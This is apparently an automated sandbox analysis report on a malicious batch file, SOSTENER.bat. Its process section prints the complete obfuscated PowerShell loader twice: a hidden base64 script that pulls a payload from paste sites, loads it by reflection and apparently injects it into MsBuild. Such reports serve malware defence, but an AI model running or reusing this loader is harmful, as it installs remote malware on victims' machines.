Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
26/03/2026, 07:50
General
- Target SOSTENER.bat
- Size 8KB
- Sample260326-jpeb8aaw2q
- SHA256 0b49704874a10b2dfd772d42cec2d498febcc7a025a61c40f119b6a18121e459
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SOSTENER.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$jfsjg = ''WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBSAGUAbQBvAHQAZQBEAGEAdABhACAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAdQByAGwAcwApAAoAIAAgACAAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQACgAgACAAIAAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdQByAGwAcwAgAC0AQwBvAHUAbgB0ACAAJAB1AHIAbABzAC4ATABlAG4AZwB0AGgACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdQAgAGkAbgAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJABjAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsAAoAf@QAKACQAcwBjAGgAZQBtAGUAMQAgAD0AIAAnAGgAdAB0AHAAJwAKACQAcwBjAGgAZQBtAGUAMgAgAD0AIAAnAHMAOgAvAC8AJwAKACQAYgBhAHMAZQBVAHIAbAAgAD0AIAAkAHMAYwBoAGUAbQBlADEAIAArACAAJABzAGMAaABlAG0AZQAyAAoACgAkAHQAYQByAGcAZQB0AFUAcgBsAHMAIAA9ACAAQAAoAAoAIAAgACAAIAAoACQAYgBhAHMAZQBVAHIAbAAgACsAIAAnAGgAYQBzAHQAZQBiAC4AaQBuAC8AUABkAEYAYwA4AHEAZgBtAEkAawBQAEUAbwBtADUAJwApACwACgAgACAAIAAgACgAJABiAGEAcwBlAFUAcgBsACAAKwAgACcAcABhAHMAdABlAGYAeQAuAGEAcABwAC8ASABkADkAVwBZADgAQgBVAC8AcgBhAHcAJwApAAoAKQAKAAoAJAByAGEAdwBEAGEAdABhACAAPQAgAEcAZQB0AC0AUgBlAG0AbwB0AGUARABhAHQAYQAgACQAdABhAHIAZwBlAHQAVQByAGwAcwAKAGkAZgAgACgAJAByAGEAdwBEAGEAdABhACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsACgAgACAAIAAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAcgBhAHcARABhAHQAYQApAAoAIAAgACAAIAAkAHMAdABhAHIAdABUAGEAZwAgAD0AIAAnADwAPABCACcAIAArACAAJwBBAFMARQA2ADQAJwAgACsAIAAnAF8AUwBUAEEAUgBUAD4APgAnAAoAIAAgACAAIAAkAGUAbgBkAFQAYQBnACAAIAAgAD0AIAAnADwAPABCAEEAUwBFADYANABf@AEUATgBEAD4APgAnAAoACgAgACAAIAAgACQAcwB0AGEAcgB0AFAAbwBzACAAPQAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AFQAYQBnACkACgAgACAAIAAgACQAZQBuAGQAUABvAHMAIAAgACAAPQAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQAVABhAGcAKQAKAAoAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AFAAbwBzACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQAUABvAHMAIAAtAGcAdAAgACQAcwB0AGEAcgB0AFAAbwBzACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAcwB0AGEAcgB0AFAAbwBzACAAKwA9ACAAJABzAHQAYQByAHQAVABhAGcALgBMAGUAbgBnAHQAaAAKACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgACQAZQBuAGQAUABvAHMAIAAtACAAJABzAHQAYQByAHQAUABvAHMACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAGgAdQBuAGsAIAA9ACAAJAB0AGUAeAB0AEMAbwBuAHQAZQBuAHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AFAAbwBzACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkACgAKACAAIAAgACAAIAAgACAAIAAkAGEAcwBzAGUAbQBiAGwAeQBCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBoAHUAbgBrACkACgAgACAAIAAgACAAIAAgACAAJABsAG8AYQBkAGUAZABBAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABhAHMAcwBlAG0AYgBsAHkAQgB5AHQAZQBzACkACgAKACAAIAAgACAAIAAgACAAIAAkAHQAYQByAGcAZQB0AFQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAbQAuAEcAZQB0AFQAeQBwAGUAKAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwApAAoAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIAAkAGkAbgBqAFYAYQBsAHUAZQAgAD0AIAAnAE0AcwBCAHUAaQBsAGQAJwAKACAAIAAgACAAIAAgACAAIAAkAHMAdAByACAAPQAgACcAMAAnAAoAIAAgACAAIAAgACAAIAAgACQAZwBnACAAPQAgACcAdAB4AHQALgA1ADIAcgBlAG4AZQB0AHMAbwBzAC8AbgBpAGEAbQAvAHcAYQByAC8ALQAvADIAcgBlAHIAbgBlAHMAdABzAG8AcwAvAG0AbwBtAF8AbwBkAHUAcwAvAG0AbwBjAC4AYgBhAGwAdABpAGcALwAvADoAcwAgAGcAcwBmAGYAcwBmACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAANwApAAoAIAAgACAAIAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACQAdABhAHIAZwBlAHQAVAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgAnACAAKwAgACcAcwBzACcAKQAuAEkAbgB2AG8AawBlACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG4AdQBsAGwALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACQAZwBnACAAIAAsACAAJABzAHQAcgAsACAAJwAnACwAIAAkAGkAbgBqAFYAYQBsAHUAZQAsACAAJwAwACcALAAgACcAeAA4ADYAJwApAAoAIAAgACAAIAAgACAAIAAgACkACgAgACAAIAAgAH0ACgB9AA=='';$oWgjffuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( [regex]::replace($jfsjg, ''f@'',''f'')));iex $oWgjffuxd\"'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$jfsjg = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBSAGUAbQBvAHQAZQBEAGEAdABhACAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAdQByAGwAcwApAAoAIAAgACAAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQACgAgACAAIAAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdQByAGwAcwAgAC0AQwBvAHUAbgB0ACAAJAB1AHIAbABzAC4ATABlAG4AZwB0AGgACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdQAgAGkAbgAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJABjAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsAAoAf@QAKACQAcwBjAGgAZQBtAGUAMQAgAD0AIAAnAGgAdAB0AHAAJwAKACQAcwBjAGgAZQBtAGUAMgAgAD0AIAAnAHMAOgAvAC8AJwAKACQAYgBhAHMAZQBVAHIAbAAgAD0AIAAkAHMAYwBoAGUAbQBlADEAIAArACAAJABzAGMAaABlAG0AZQAyAAoACgAkAHQAYQByAGcAZQB0AFUAcgBsAHMAIAA9ACAAQAAoAAoAIAAgACAAIAAoACQAYgBhAHMAZQBVAHIAbAAgACsAIAAnAGgAYQBzAHQAZQBiAC4AaQBuAC8AUABkAEYAYwA4AHEAZgBtAEkAawBQAEUAbwBtADUAJwApACwACgAgACAAIAAgACgAJABiAGEAcwBlAFUAcgBsACAAKwAgACcAcABhAHMAdABlAGYAeQAuAGEAcABwAC8ASABkADkAVwBZADgAQgBVAC8AcgBhAHcAJwApAAoAKQAKAAoAJAByAGEAdwBEAGEAdABhACAAPQAgAEcAZQB0AC0AUgBlAG0AbwB0AGUARABhAHQAYQAgACQAdABhAHIAZwBlAHQAVQByAGwAcwAKAGkAZgAgACgAJAByAGEAdwBEAGEAdABhACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsACgAgACAAIAAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAcgBhAHcARABhAHQAYQApAAoAIAAgACAAIAAkAHMAdABhAHIAdABUAGEAZwAgAD0AIAAnADwAPABCACcAIAArACAAJwBBAFMARQA2ADQAJwAgACsAIAAnAF8AUwBUAEEAUgBUAD4APgAnAAoAIAAgACAAIAAkAGUAbgBkAFQAYQBnACAAIAAgAD0AIAAnADwAPABCAEEAUwBFADYANABf@AEUATgBEAD4APgAnAAoACgAgACAAIAAgACQAcwB0AGEAcgB0AFAAbwBzACAAPQAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AFQAYQBnACkACgAgACAAIAAgACQAZQBuAGQAUABvAHMAIAAgACAAPQAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQAVABhAGcAKQAKAAoAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AFAAbwBzACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQAUABvAHMAIAAtAGcAdAAgACQAcwB0AGEAcgB0AFAAbwBzACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAcwB0AGEAcgB0AFAAbwBzACAAKwA9ACAAJABzAHQAYQByAHQAVABhAGcALgBMAGUAbgBnAHQAaAAKACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgACQAZQBuAGQAUABvAHMAIAAtACAAJABzAHQAYQByAHQAUABvAHMACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAGgAdQBuAGsAIAA9ACAAJAB0AGUAeAB0AEMAbwBuAHQAZQBuAHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AFAAbwBzACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkACgAKACAAIAAgACAAIAAgACAAIAAkAGEAcwBzAGUAbQBiAGwAeQBCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBoAHUAbgBrACkACgAgACAAIAAgACAAIAAgACAAJABsAG8AYQBkAGUAZABBAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABhAHMAcwBlAG0AYgBsAHkAQgB5AHQAZQBzACkACgAKACAAIAAgACAAIAAgACAAIAAkAHQAYQByAGcAZQB0AFQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAbQAuAEcAZQB0AFQAeQBwAGUAKAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwApAAoAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIAAkAGkAbgBqAFYAYQBsAHUAZQAgAD0AIAAnAE0AcwBCAHUAaQBsAGQAJwAKACAAIAAgACAAIAAgACAAIAAkAHMAdAByACAAPQAgACcAMAAnAAoAIAAgACAAIAAgACAAIAAgACQAZwBnACAAPQAgACcAdAB4AHQALgA1ADIAcgBlAG4AZQB0AHMAbwBzAC8AbgBpAGEAbQAvAHcAYQByAC8ALQAvADIAcgBlAHIAbgBlAHMAdABzAG8AcwAvAG0AbwBtAF8AbwBkAHUAcwAvAG0AbwBjAC4AYgBhAGwAdABpAGcALwAvADoAcwAgAGcAcwBmAGYAcwBmACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAANwApAAoAIAAgACAAIAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACQAdABhAHIAZwBlAHQAVAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgAnACAAKwAgACcAcwBzACcAKQAuAEkAbgB2AG8AawBlACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG4AdQBsAGwALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACQAZwBnACAAIAAsACAAJABzAHQAcgAsACAAJwAnACwAIAAkAGkAbgBqAFYAYQBsAHUAZQAsACAAJwAwACcALAAgACcAeAA4ADYAJwApAAoAIAAgACAAIAAgACAAIAAgACkACgAgACAAIAAgAH0ACgB9AA==';$oWgjffuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( [regex]::replace($jfsjg, 'f@','f')));iex $oWgjffuxd"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_mtsv4zww.bnt.ps1
memory/5360-12-0x000001FD72DA0000-0x000001FD72E8A000-memory.dmp
memory/5360-9-0x000001FD72C90000-0x000001FD72CA0000-memory.dmp
memory/5360-13-0x000001FD5A570000-0x000001FD5A582000-memory.dmp
memory/5360-0-0x000001FD72C90000-0x000001FD72CA0000-memory.dmp
memory/5360-8-0x000001FD5AB80000-0x000001FD5ABA2000-memory.dmp
memory/5360-1-0x000001FD72C90000-0x000001FD72CA0000-memory.dmp
memory/5884-15-0x000002C08B2E0000-0x000002C08B2F0000-memory.dmp
memory/5884-16-0x000002C08B2E0000-0x000002C08B2F0000-memory.dmp
memory/5884-24-0x000002C08B2E0000-0x000002C08B2F0000-memory.dmp
memory/5884-26-0x000002C0A34D0000-0x000002C0A35BA000-memory.dmp
memory/5884-28-0x000002C0A3620000-0x000002C0A3629000-memory.dmp
memory/5884-27-0x000002C08B2A0000-0x000002C08B2B2000-memory.dmp